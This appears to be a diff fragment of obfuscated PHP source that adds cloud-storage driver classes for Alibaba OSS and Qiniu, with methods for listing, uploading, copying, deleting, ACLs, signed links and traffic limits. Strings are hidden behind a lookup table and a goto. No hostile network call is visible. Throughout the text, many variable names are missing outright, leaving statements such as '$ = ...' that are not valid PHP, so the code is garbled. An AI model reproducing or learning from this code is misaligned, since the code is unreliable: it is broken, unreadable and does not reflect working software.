$[497] => $ޟ); return $this->where($)->delete(); } protected function removeByTag($А) { $˔ =& $_SERVER[ձК]; if (!$А) { return !1; } $Ƃ = array($˔[1768] => USER_ID, $˔[559] => $А); return $this->where($Ƃ)->delete(); } protected function removeBySource($ƶ) { $ʒ =& $_SERVER[ձК]; if (is_array($ƶ)) { $ƶ = array($ʒ[7], $ƶ); } $⅍ = array($ʒ[1768] => USER_ID, $ʒ[559] => array($ʒ[1093], 0), $ʒ[497] => $ƶ); return $this->where($⅍)->delete(); } }
\ No newline at end of file
+ goto EΙ݆; f: class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\60"; public $cdnHost = ''; public $config = array(); public function __construct($ٸ) { parent::__construct(); include_once SDK_DIR . $_SERVER[秼][1472]; $this->_init($ٸ); } public function _init($) { $ =& $_SERVER[秼]; $this->config = $; foreach ($ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1473] . LNG($[1474])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { $ =& $_SERVER[秼]; $̘ = new OSS\Model\CorsConfig(); $Ϧ = new OSS\Model\CorsRule(); $Ϧ->addAllowedOrigin($[1475]); $Ϧ->addAllowedMethod($[1476]); $Ϧ->addAllowedMethod($[1477]); $Ϧ->addAllowedMethod($[1478]); $Ϧ->addAllowedMethod($[1479]); $Ϧ->addAllowedMethod($[165]); $Ϧ->setMaxAgeSeconds(600); $Ϧ->addExposeHeader($[1480]); $Ϧ->addAllowedHeader($[1475]); $̘->addRule($Ϧ); try { $this->client->putBucketCors($this->bucket, $̘); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); return !1; } return !0; } public function getBucketCors() { $ =& $_SERVER[秼]; $քҊ = null; try { $քҊ = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); return null; } if (!$քҊ || !($ܤ = $քҊ->getRules())) { return null; } $ߓԛ = $ܤ[0]->getAllowedOrigins(); $ӭ = $ܤ[0]->getAllowedMethods(); $Ď = $ܤ[0]->getMaxAgeSeconds(); $ڥ = $ܤ[0]->getExposeHeaders(); $ْ = $ܤ[0]->getAllowedHeaders(); return array($[220] => isset($ߓԛ[0]) ? $ߓԛ[0] : $[12], $[224] => $ӭ, $[1481] => $Ď, $[1482] => isset($ڥ[0]) ? $ڥ[0] : $[12], $[221] => isset($ْ[0]) ? $ْ[0] : $[12]); } public function isBucketCors() { $ō =& $_SERVER[秼]; $ = $this->getBucketCors(); if (!$ || !is_array($)) { return !1; } if ($[$ō[220]] != $ō[222] || $[$ō[221]] != $ō[222]) { return !1; } $Λᮗ = array_map($ō[223], $[$ō[224]]); if (!is_array($Λᮗ)) { $Λᮗ = array(); } $ = array($ō[225], $ō[226], $ō[227], $ō[228], $ō[229]); $ = array_diff($, $Λᮗ); return empty($); } public function mkfile($ˀ, $ = '', $⒌ = REPEAT_RENAME) { $م = $this->setContent($ˀ, $); if ($م !== !1) { return $this->getPathOuter($ˀ); } return !1; } public function mkdir($ǥ, $ِ = REPEAT_SKIP) { if ($ِ && $this->_isFolder($ǥ)) { return $this->getPathOuter($ǥ); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($ǥ)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[秼][214] . $->getMessage()); return !1; } return $this->getPathOuter($ǥ); } private function fileList($߲, $ = '', $ = 0) { $ =& $_SERVER[秼]; $߲ = trim($߲, $[8]); $˚ = empty($߲) && $߲ !== $[230] ? $[12] : $߲ . $[8]; $랶 = $[12]; $ײ = 1000; $Ď = $ = array(); while (!0) { check_abort(); $ = array($[1483] => $, $[1484] => $˚, $[1485] => $ײ, $[1486] => $랶); try { $ԣ = $this->client->listObjects($this->bucket, $); } catch (OSS\Core\OssException $Ŭܸ) { $this->writeLog(__FUNCTION__ . $[214] . $Ŭܸ->getMessage()); break; } $랶 = $ԣ->getNextMarker(); $ = $ԣ->getObjectList(); $ = $ԣ->getPrefixList(); foreach ($ as $ߔ) { if ($ߔ->getKey() == $˚) { continue; } $ٱ = $ߔ->getKey(); $ = $ߔ->getSize(); $ = $ߔ->getLastModified(); $ɑ = trim($ߔ->getETag(), $[121]); $ة = $ ? array($[32] => $ٱ, $[79] => $, $[206] => strtotime($), $[1487] => $ɑ) : $ٱ; $ӀԳ = $ == 0 && substr($ٱ, strlen($ٱ) - 1, 1) == $[8] ? !0 : !1; $ = array($[79] => $, $[1488] => $, $[88] => strtotime($), $[1489] => $, $[1487] => $ɑ); $this->cacheMethodInfoSet($ٱ, $ӀԳ, $); if ($ӀԳ) { $Ď[] = $ٱ; continue; } $[] = $ة; } foreach ($ as $Ç) { $Ď[] = $Ç->getPrefix(); $this->cacheMethodInfoSet($Ç->getPrefix(), !0); } if ($랶 === $[12]) { break; } } $this->cacheMethodInfoSet($߲, !0); return array($[85] => $Ď, $[86] => $); } public function listObject($׆, $̙ = '') { $璞 =& $_SERVER[秼]; $׆ = trim($׆, $璞[8]); $Ǻ = empty($׆) && $׆ !== $璞[230] ? $璞[12] : $׆ . $璞[8]; $ȟ = $璞[12]; $ฌ = 1000; $Ǧ = $ܸ = array(); while (!0) { check_abort(); $ձ = array($璞[1483] => $̙, $璞[1484] => $Ǻ, $璞[1485] => $ฌ, $璞[1486] => $ȟ); try { $ۋ = $this->client->listObjects($this->bucket, $ձ); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $璞[214] . $->getMessage()); break; } $ȟ = $ۋ->getNextMarker(); $綻 = $ۋ->getObjectList(); foreach ($綻 as $) { if ($->getKey() == $Ǻ) { continue; } $ݓ = $->getKey(); $̊փ = $->getSize(); $ = $̊փ == 0 && substr($ݓ, strlen($ݓ) - 1, 1) == $璞[8] ? !0 : !1; if ($) { continue; } $ܸ[] = $̊փ . $璞[214] . $ݓ; } if ($ȟ === $璞[12]) { break; } } return array($璞[85] => $Ǧ, $璞[86] => $ܸ); } public function copyFile($, $) { $ = $this->size($); if ($ < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $, $this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[秼][214] . $->getMessage()); return !1; } return $this->getPathOuter($); } $ǗҔ = $this->multiCopyObject($, $, $); return $ǗҔ ? $this->getPathOuter($) : !1; } private function multiCopyObject($, $ۗ, $С) { $ =& $_SERVER[秼]; try { $ٴ = array(); if ($ﺭ = $this->hashMd5($)) { $ٴ = array(OSS\OssClient::OSS_HEADERS => array($[1490] => $ﺭ)); } $ƪ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($ۗ), $ٴ); $玪 = 1; $ = 0; $Ğ = array(); $ҧ = 1024 * 1024 * 10; $ = $this->client->generateMultiuploadParts($С, $ҧ); foreach ($ as $۽ => $Ɂ) { $ = $ + (int) $Ɂ[$[1491]]; $Յ뜚 = (int) $Ɂ[$[414]] + $ - 1; $Ԟׄ = array($[167] => $, $[168] => $Յ뜚); $Ğ[] = $this->client->uploadPartCopy($this->bucket, $, $this->bucket, $this->pathEncode($ۗ), $玪, $ƪ, $Ԟׄ); $玪 = $玪 + 1; } $ = array(); foreach ($Ğ as $۽ => $Ц) { $[] = array($[299] => $۽ + 1, $[300] => $Ц); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($ۗ), $ƪ, $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); return !1; } return !0; } public function moveFile($, $̇) { if ($this->copyFile($, $̇)) { $this->remove($); return $this->getPathOuter($̇); } return !1; } public function delFile($Å) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($Å)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[秼][214] . $->getMessage()); return !1; } return !0; } public function delFolder($欘) { $ߺƊ =& $_SERVER[秼]; if (!$this->exist($欘)) { return !0; } $this->listItemCache = !1; $ʈ = $this->fileList($欘); $this->listItemCache = !0; $ = trim($欘, $ߺƊ[8]) . $ߺƊ[8]; if (!empty($欘) && $欘 !== $ߺƊ[230] && !in_array($, $ʈ[$ߺƊ[85]])) { $ʈ[$ߺƊ[85]][] = $; } $Բ = $this->delByBatch($ʈ[$ߺƊ[86]]); if (!$Բ) { return !1; } $Բ = $this->delByBatch($ʈ[$ߺƊ[85]]); if (!$Բ) { return !1; } return $this->delFile($); } private function delByBatch($č) { foreach (array_chunk($č, 1000) as $ں) { try { $this->client->deleteObjects($this->bucket, $ں); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[秼][214] . $->getMessage()); return !1; } } return !0; } public function rename($, $) { return $this->renameObject($, $); } private function fileInfo($, $Ӻ = false, $ = array()) { $Ԁ =& $_SERVER[秼]; $ޯ刂 = array($Ԁ[32] => $this->pathThis($), $Ԁ[87] => $this->getPathOuter($), $Ԁ[33] => $Ԁ[232], $Ԁ[79] => isset($[$Ԁ[79]]) ? $[$Ԁ[79]] : 0, $Ԁ[169] => $this->ext($)); if ($Ӻ) { return $ޯ刂; } $ޯ刂[$Ԁ[233]] = $ޯ刂[$Ԁ[88]] = 0; $ޯ刂[$Ԁ[234]] = $ޯ刂[$Ԁ[235]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $ޯ刂; } $ = array($Ԁ[88] => strtotime($[$Ԁ[1489]]), $Ԁ[79] => $[$Ԁ[1488]] + 0, $Ԁ[1487] => $[$Ԁ[1487]]); } if (isset($[$Ԁ[1487]]) && $[$Ԁ[1487]]) { $ޯ刂[$Ԁ[237]] = trim($[$Ԁ[1487]], $Ԁ[121]); } if (isset($[$Ԁ[79]])) { $ޯ刂[$Ԁ[79]] = $[$Ԁ[79]]; } if (isset($[$Ԁ[88]])) { $ޯ刂[$Ԁ[88]] = $[$Ԁ[88]]; } if (isset($[$Ԁ[206]]) && !trim($ޯ刂[$Ԁ[88]])) { $ޯ刂[$Ԁ[88]] = $[$Ԁ[206]]; } return $ޯ刂; } private function folderInfo($ޅڄ, $˃ = false, $̳Ф = array()) { $遑 =& $_SERVER[秼]; $Պ = array($遑[32] => $this->pathThis($ޅڄ), $遑[87] => $this->getPathOuter($遑[8] . $ޅڄ), $遑[33] => $遑[78]); if ($˃) { return $Պ; } $Պ[$遑[233]] = $Պ[$遑[88]] = 0; $Պ[$遑[234]] = $Պ[$遑[235]] = !0; if (empty($̳Ф)) { $ޅڄ = rtrim($ޅڄ, $遑[8]) . $遑[8]; $ = $this->objectMeta($ޅڄ); if (!$) { return $Պ; } $̳Ф = array($遑[233] => $[$遑[586]][$遑[1492]], $遑[88] => strtotime($[$遑[1489]])); } if (isset($̳Ф[$遑[88]])) { $Պ[$遑[88]] = $̳Ф[$遑[88]]; } if (isset($̳Ф[$遑[233]])) { $Պ[$遑[233]] = $̳Ф[$遑[233]]; } return $Պ; } public function listPath($ʓѕ, $ޮ = false) { $ =& $_SERVER[秼]; $ = $this->fileList($ʓѕ, $[8], !0); foreach ($[$[85]] as $ => $͖) { $[$[85]][$] = $this->folderInfo($͖, $ޮ, $͖); } foreach ($[$[86]] as $ => $͖) { $[$[86]][$] = $this->fileInfo($͖[$[32]], $ޮ, $͖); } return $; } protected function infoChildren($, &$뼞) { $ =& $_SERVER[秼]; $ = $this->fileList($, $[12], !0); $뼞[$[81]] += count($[$[85]]); $뼞[$[80]] += count($[$[86]]); foreach ($[$[86]] as $) { if (!$ || !$[$[79]]) { continue; } $뼞[$[79]] += $[$[79]]; } } public function has($, $ = false, $ = true) { $ŏ =& $_SERVER[秼]; $ = trim($, $ŏ[8]); $ = empty($) && $ !== $ŏ[230] ? $ŏ[12] : $ . $ŏ[8]; $ˁ = $ŏ[12]; $ = 500; $ = $ = 0; while (!0) { check_abort(); $洗 = array($ŏ[1483] => $ŏ[8], $ŏ[1484] => $, $ŏ[1485] => $, $ŏ[1486] => $ˁ); try { $ⓓ = $this->client->listObjects($this->bucket, $洗); } catch (OSS\Core\OssException $ՠ) { $this->writeLog(__FUNCTION__ . $ŏ[214] . $ՠ->getMessage()); break; } $ˁ = $ⓓ->getNextMarker(); $߈ = $ⓓ->getObjectList(); $Ύ = $ⓓ->getPrefixList(); if ($) { if (count($߈) > 1 || count($߈) == 1 && $߈[0]->getKey() != $) { $ += count($߈) - 1; } if (!empty($Ύ)) { $ += count($Ύ); } if ($ˁ === $ŏ[12]) { break; } continue; } if ($) { if (!empty($߈)) { if (count($߈) > 1 || $߈[0]->getKey() != $) { return !0; } } } else { if (!empty($Ύ)) { return !0; } } if ($ˁ === $ŏ[12]) { break; } } if ($) { return array($ŏ[241] => $, $ŏ[242] => $); } return !1; } public function listAll($) { $׀ =& $_SERVER[秼]; $缣 = $this->fileList($, $׀[12], !0); $Ѽ = array_to_keyvalue($缣[$׀[86]], $׀[32]); foreach ($缣[$׀[85]] as $Ἔ) { if (is_string($Ἔ)) { $Ѽ[$Ἔ] = array($׀[79] => 0); } } return $this->listAllFiles($, $Ѽ); } public function canRead($֖) { $Ϙ =& $_SERVER[秼]; $ = $this->pathAcl($֖); return $ == $Ϙ[1493] || $ == $Ϙ[633] ? !0 : !1; } public function canWrite($) { $Ѿ = $this->pathAcl($); return $Ѿ == $_SERVER[秼][633] ? !0 : !1; } public function pathAcl($܂闦) { $ќ =& $_SERVER[秼]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $ = $this->client->getObjectAcl($this->bucket, $this->pathEncode($܂闦)); } catch (OSS\Core\OssException $·) { $this->writeLog(__FUNCTION__ . $ќ[214] . $·->getMessage()); return !1; } $ڤ = $ == $ќ[37] ? $this->bucketAcl : $; if ($ڤ == $ќ[1494]) { return $ќ[1493]; } if ($ڤ == $ќ[1495]) { return $ќ[633]; } return $ڤ; } private function chmodPath($, $߅ = '') { $佐 =& $_SERVER[秼]; $ = empty($߅) ? $佐[1495] : $߅; $Ӷ = array($佐[37], $佐[231], $佐[1494], $佐[1495]); if (!in_array($, $Ӷ)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($), $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $佐[214] . $->getMessage()); return !1; } return !0; } public function getContent($) { return $this->fileSubstr($, -1); } public function setContent($, $ = '') { $앹 =& $_SERVER[秼]; try { $ = $this->trafficLimit($앹[1496]); $ = $this->client->putObject($this->bucket, $this->pathEncode($), $, $); } catch (OSS\Core\OssException $Ɗϟ) { $this->writeLog(__FUNCTION__ . $앹[214] . $Ɗϟ->getMessage()); return !1; } $Зכ = array($앹[1490] => trim($[$앹[1487]], $앹[121]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $this->updateObjMeta($, $Зכ); return isset($[$앹[1497]][$앹[296]]) ? !0 : !1; } private function updateObjMeta($, $␘) { $ = $this->pathEncode($); try { $ = array(OSS\OssClient::OSS_HEADERS => $␘); $this->client->copyObject($this->bucket, $, $this->bucket, $, $); } catch (OSS\Core\OssException $Ҵ) { $this->writeLog(__FUNCTION__ . $_SERVER[秼][214] . $Ҵ->getMessage()); return !1; } return !0; } public function upload($, $ї, $ = false, $ˏ = REPEAT_REPLACE) { $ =& $_SERVER[秼]; $믇 = trim($, $[8]); $̊ = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($[1490] => @md5_file($ї)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $̊ = $this->trafficLimit($[1496], $̊); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($믇), $ї, $̊); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); return !1; } return $this->getPathOuter($); } public function getHost() { $ =& $_SERVER[秼]; $ = explode($[210], parent::getHost()); return $[0] . $[210] . $this->bucket . $[10] . $[1]; } public function uploadFormData($ة㪴, $ = 3600) { $ =& $_SERVER[秼]; if (!($塚 = $this->getHost())) { return !1; } $ܘ = $; $ň = date($[1498], time() + $ܘ); $ = new DateTime($ň); $ = $->format(DateTime::ISO8601); $Ą = strpos($, $[373]); $ = substr($, 0, $Ą) . $[1499]; $σ = 1048576000 * 5; $ɽ = $this->pathFather($ة㪴); $ = array($[264] => $, $[267] => array(array($[1500], 0, $σ), array($[269], $[270], $ɽ))); $ʥ = base64_encode(json_encode($)); $ = base64_encode(hash_hmac($[1421], $ʥ, $this->secret, !0)); $ = array($[1501] => $this->accessKey, $[279] => $ʥ, $[272] => $[263], $[1502] => $, $[208] => $塚); $ = $this->trafficLimit($[1496], $, !0); return $; } public function uploadMultiData($하, $Ɏ = 3600) { $ =& $_SERVER[秼]; if (!($ث = $this->getHost())) { return !1; } $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($하)); return array($[283] => $, $[208] => $ث . $[8] . $this->pathEncode($하), $[284] => gmdate($[1503]), $[97] => $하); } public function uploadMultiAuth($, $϶Զ = array()) { if (isset($϶Զ[$_SERVER[秼][285]])) { return $this->uploadPartAuth($, $϶Զ); } return $this->uploadListAuth($, $϶Զ); } private function uploadPartAuth($, $м = array()) { $녗 =& $_SERVER[秼]; $б = $м[$녗[97]]; $ڷ = $this->_getUploadAuth($б, $м); $Ŵ = array($녗[288] => $ڷ[$녗[288]], $녗[284] => $ڷ[$녗[284]]); if (isset($ڷ[$녗[1504]])) { $Ŵ[$녗[1504]] = $ڷ[$녗[1504]]; } return $Ŵ; } private function uploadListAuth($іک, $߽ = array()) { $ =& $_SERVER[秼]; $Π = $߽[$[97]]; $Ω = $߽[$[283]]; $ = $this->client->listParts($this->bucket, $this->pathEncode($Π), $Ω); $ = $->getListPart(); $ = array(); foreach ($ as $) { $[] = array($[299] => $->getPartNumber(), $[300] => trim($->getETag(), $[121])); } if (!$) { return !1; } $ = $this->_getUploadAuth($Π, $߽); return array($[288] => $[$[288]], $[284] => $[$[284]], $[291] => $); } private function _getUploadAuth($, $) { $ݴ =& $_SERVER[秼]; $ = gmdate($ݴ[1503]); $ = isset($[$ݴ[285]]) ? $ݴ[255] : $ݴ[290]; $ܩ = array_intersect_key($, array_flip(array($ݴ[285], $ݴ[283]))); ksort($ܩ); $я = $ܩ ? $ݴ[76] . http_build_query($ܩ, null, $ݴ[286], PHP_QUERY_RFC3986) : $ݴ[12]; $ = array($, $ݴ[12], $ݴ[123], $, "\x78\x2d\x6f\163\x73\55\x64\141\164\145\72{$}", $ݴ[8] . $this->bucket . $ݴ[8] . $ . $я); if (isset($[$ݴ[285]])) { $ = $this->trafficLimit($ݴ[1496], array(), !0); if ($) { $ = $ݴ[1504]; array_splice($, 5, 0, $ . $ݴ[4] . $[$]); } } $ = implode($ݴ[287], $); $韑 = base64_encode(hash_hmac($ݴ[1421], $, $this->secret, !0)); $ = $ݴ[1473] . $this->accessKey . $ݴ[4] . $韑; $ = array($ݴ[288] => $, $ݴ[284] => $); if (!empty($)) { $ = array_merge($, $); } return $; } public function download($倝, $߲) { $پ =& $_SERVER[秼]; if ($this->isFolder($倝)) { return !1; } try { $죹ۋ = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $߲); $죹ۋ = $this->trafficLimit($پ[112], $죹ۋ); $this->client->getObject($this->bucket, $this->pathEncode($倝), $죹ۋ); } catch (OSS\Core\OssException $ͤ) { $this->writeLog(__FUNCTION__ . $پ[214] . $ͤ->getMessage()); return !1; } return $߲; } public function fileSubstr($, $ = 0, $ = false) { if ($ === -1) { $ = array(); } else { if ($ === !1) { $ػ = $this->size($); } else { $ػ = $ + $ - 1; } $ = array(OSS\OssClient::OSS_RANGE => "{$}\55{$ػ}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($), $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[秼][214] . $->getMessage()); think_exception($->getMessage()); return !1; } } private function trafficLimit($ј, $ = array(), $Ì = false) { $ΰ =& $_SERVER[秼]; if ($ј == $ΰ[1496] && $this->isUploadServer() || $ј == $ΰ[112] && $this->isFileOutServer()) { return $; } $ = floatval($GLOBALS[$ΰ[6]][$ΰ[92]][$ΰ[110]][$ј]) * 1024 * 1024 * 8; if (!$) { return $; } $ = $ < 819200 ? 819200 : ($ > 838860800 ? 838860800 : $); if ($Ì) { $[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($); } else { if (!isset($[OSS\OssClient::OSS_HEADERS])) { $[OSS\OssClient::OSS_HEADERS] = array(); } $[OSS\OssClient::OSS_HEADERS][OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($); } return $; } public function link($, $ӫ = array()) { $»Ԛ =& $_SERVER[秼]; if (!$this->exist($) || $this->isFolder($)) { return !1; } try { $ӫ = $this->trafficLimit($»Ԛ[112], $ӫ, !0); $װ = $this->client->signUrl($this->bucket, $this->pathEncode($), 3600 * 12, $»Ԛ[1505], $ӫ); return $this->getCdnLink($װ); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $»Ԛ[214] . $->getMessage()); return !1; } } public function fileOut($ٮ, $ = false, $ = false, $ = '') { $Ƕ =& $_SERVER[秼]; if ($this->isFileOutServer()) { return $this->fileOutServer($ٮ, $, $, $); } if (!$) { $ = $this->pathThis($ٮ); } $ = rawurlencode($); $܇ = get_file_mime(get_path_ext($)); if ($܇ == $Ƕ[250]) { return parent::fileOut($ٮ, $, $, $); } $ = $ ? $Ƕ[1506] : $Ƕ[1507]; $ = array(OSS\OssClient::OSS_SUB_RESOURCE => $Ƕ[1508] . rawurlencode("{$}\x3b\146\151\x6c\145\156\x61\155\x65\x3d{$}")); $[OSS\OssClient::OSS_SUB_RESOURCE] .= $Ƕ[1509] . rawurlencode($܇); $ű = $this->link($ٮ, $); $this->fileOutLink($ű); } public function fileOutServer($ɏ, $ = false, $݃ = false, $ώ = '') { parent::fileOut($ɏ, $, $݃, $ώ); } public function fileOutImage($ށ, $ = 250) { if ($this->size($ށ) > 1024 * 1024 * 20) { return $this->fileOutImageServer($ށ, $); } $ڣϗ = array(OSS\OssClient::OSS_PROCESS => $_SERVER[秼][1470] . $); $Σ = $this->link($ށ, $ڣϗ); $this->fileOutLink($Σ); } public function fileOutImageServer($, $ʵ = 250) { parent::fileOutImage($, $ʵ); } public function fileOutLink($ђ) { $ =& $_SERVER[秼]; if (!$this->isCdnHost() && substr($ђ, 0, 7) == $[218]) { $ђ = $[219] . substr($ђ, 7); } header($[175] . $ђ); die; } public function hashMd5($˒תּ, $ = '') { $쮓 =& $_SERVER[秼]; $Õ = $this->_objectMeta($˒תּ); if (!$Õ) { return $쮓[12]; } if (!isset($Õ[$쮓[1490]]) && !empty($)) { $⅘ = $this->updateObjMeta($˒תּ, array($쮓[1490] => $)); $Õ[$쮓[1490]] = $⅘ ? $ : $쮓[12]; } return isset($Õ[$쮓[1490]]) ? strtolower($Õ[$쮓[1490]]) : $쮓[12]; } public function size($Є) { $ = $this->objectMeta($Є); return $ ? $[$_SERVER[秼][79]] : 0; } public function info($ږ) { if ($this->isFolder($ږ)) { return $this->folderInfo($ږ); } else { if ($this->isFile($ږ)) { return $this->fileInfo($ږ); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($н) { return !$this->isFolder($н) && $this->objectMeta($н); } public function isFolder($瓾) { return $this->cacheMethod($_SERVER[秼][179], $瓾); } protected function objectMeta($ŷׅ) { return $this->cacheMethod($_SERVER[秼][181], $ŷׅ); } protected function _objectMeta($џס) { $Ϳ =& $_SERVER[秼]; try { $ = $this->client->getObjectMeta($this->bucket, $this->pathEncode($џס)); } catch (OSS\Core\OssException $ϔ) { $this->writeLog(__FUNCTION__ . $Ϳ[214] . $ϔ->getMessage()); $ = !1; } if ($) { $[$Ϳ[79]] = intval($[$Ϳ[1488]]); } return $; } protected function _isFolder($) { $ =& $_SERVER[秼]; if ($ == $[12] || $ == $[8]) { return !0; } $Ѡ = array($[1483] => $[8], $[1484] => rtrim($, $[8]) . $[8], $[1485] => 1, $[1486] => $[12]); $ڗ = $this->client->listObjects($this->bucket, $Ѡ); if ($ڗ->getObjectList() || $ڗ->getPrefixList()) { return !0; } return !1; } public function writeLog($ؼ = '', $̄ = false) { $ٺ =& $_SERVER[秼]; $۱ = in_array(ACTION, array($ٺ[212], $ٺ[213])); if (!$۱ && !GLOBAL_DEBUG) { return; } $Έݔ = 0; if (stripos($ؼ, $ٺ[1510]) !== !1) { $Έݔ = 1; $і = explode($ٺ[1511], $ؼ); $ؼ = !empty($і[1]) ? $і[1] : $ؼ; } else { if (stripos($ؼ, $ٺ[1512])) { $Έݔ = 2; $і = explode($ٺ[1512], $ؼ); $і = explode($ٺ[4], $і[0]); $ؼ = !empty($і[1]) ? $і[1] : $ؼ; } } if ($۱ && I18n::getType() == $ٺ[1513]) { if ($Έݔ == 1) { $ؼ = str_replace($ٺ[1514], $ٺ[1515], $ؼ); } else { if ($Έݔ == 2) { $і = explode($ٺ[214], $і[0]); $ = isset($і[1]) ? $і[1] : $ٺ[12]; $Ⱈ = array($ٺ[1516] => $ٺ[1517], $ٺ[1518] => $ٺ[1519], $ٺ[1520] => $ٺ[1521], $ٺ[1522] => $ٺ[1523], $ٺ[1524] => $ٺ[1525], $ٺ[1526] => $ٺ[1527], $ٺ[1528] => $ٺ[1529], $ٺ[1530] => $ٺ[1531], $ٺ[1532] => $ٺ[1533], $ٺ[1534] => $ٺ[1535]); if (isset($Ⱈ[$])) { $ؼ = $Ⱈ[$]; } } } if (stripos($ؼ, $ٺ[1536])) { $ؼ = $ٺ[1537]; } } if (!trim($ؼ)) { return; } parent::writeLog(trim($ؼ), $̄); } } class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $bucketManager = null; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\x30"; public $config = array(); public function __construct($ѴѤ) { parent::__construct(); require_once SDK_DIR . $_SERVER[秼][1538]; $this->_init($ѴѤ); } public function _init($) { $ =& $_SERVER[秼]; $this->config = $; foreach ($ as $Ε => $ٳҔ) { if (isset($this->{$Ε})) { $this->{$Ε} = $ٳҔ; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1539] . LNG($[1474])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->configView = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->configView); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($矌, $ʹ = '', $ĉ = REPEAT_RENAME) { if ($this->setContent($矌, $ʹ)) { return $this->getPathOuter($矌); } return !1; } public function mkdir($, $Ԏ = REPEAT_SKIP) { $춬 =& $_SERVER[秼]; $ = trim($, $춬[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $ = $ . $춬[8]; $ = get_path_this($); $鴕ݢ = $ . $; if (!$this->mkfile($鴕ݢ)) { return !1; } if (!$this->moveFile($鴕ݢ, $)) { $this->delFile($鴕ݢ); return !1; } return $this->getPathOuter($); } public function copyFile($뼝, $) { $ = $this->bucketManager->copy($this->bucket, $뼝, $this->bucket, $, !0); return $ ? !1 : $this->getPathOuter($); } public function moveFile($Ф, $) { $迺 = $this->bucketManager->move($this->bucket, $Ф, $this->bucket, $, !0); return $迺 ? !1 : $this->getPathOuter($); } public function delFile($إ) { if (!$this->exist($إ)) { return !0; } $㕋 = $this->bucketManager->delete($this->bucket, $إ); if (!$㕋) { return !0; } return $㕋->code() == 612 ? !0 : !1; } public function delFolder($) { $ =& $_SERVER[秼]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ƺ = $this->fileList($); $this->listItemCache = !0; $ = trim($, $[8]) . $[8]; if (!empty($) && $ !== $[230] && !in_array($, $ƺ[$[85]])) { $ƺ[$[85]][] = $; } $ = $this->delByBatch($ƺ[$[86]]); if (!$) { return !1; } $ = $this->delByBatch($ƺ[$[85]]); if (!$) { return !1; } return $this->delFile($); } private function delByBatch($) { foreach (array_chunk($, 1000) as $ߐ) { $ = $this->bucketManager->buildBatchDelete($this->bucket, $ߐ); list($, $䘆) = $this->bucketManager->batch($); if ($䘆) { return !1; } } return !0; } public function rename($浃, $С) { return $this->renameObject($浃, $С); } public function fileInfo($ݫ˷, $ㄭ = false, $ = array()) { $ =& $_SERVER[秼]; $ = array($[32] => $this->pathThis($ݫ˷), $[87] => $this->getPathOuter($[8] . $ݫ˷), $[33] => $[232], $[79] => isset($[$[1540]]) ? $[$[1540]] : 0, $[169] => $this->ext($ݫ˷)); if ($ㄭ) { return $; } $[$[233]] = $[$[88]] = 0; $[$[234]] = $[$[235]] = !0; if (empty($)) { $ = $this->objectMeta($ݫ˷); if (!$) { return $; } } if (isset($[$[236]]) && $[$[236]]) { $[$[237]] = $[$[236]]; } if (isset($[$[247]]) && $[$[247]]) { $[$[237]] = $[$[247]]; } if (isset($[$[1541]])) { $[$[88]] = substr($[$[1541]] . $[12], 0, 10); } if (isset($[$[1540]])) { $[$[79]] = $[$[1540]]; } return $; } public function folderInfo($, $Ѫ = false) { $磰 =& $_SERVER[秼]; $ = array($磰[32] => $this->pathThis($), $磰[87] => $this->getPathOuter($磰[8] . $), $磰[33] => 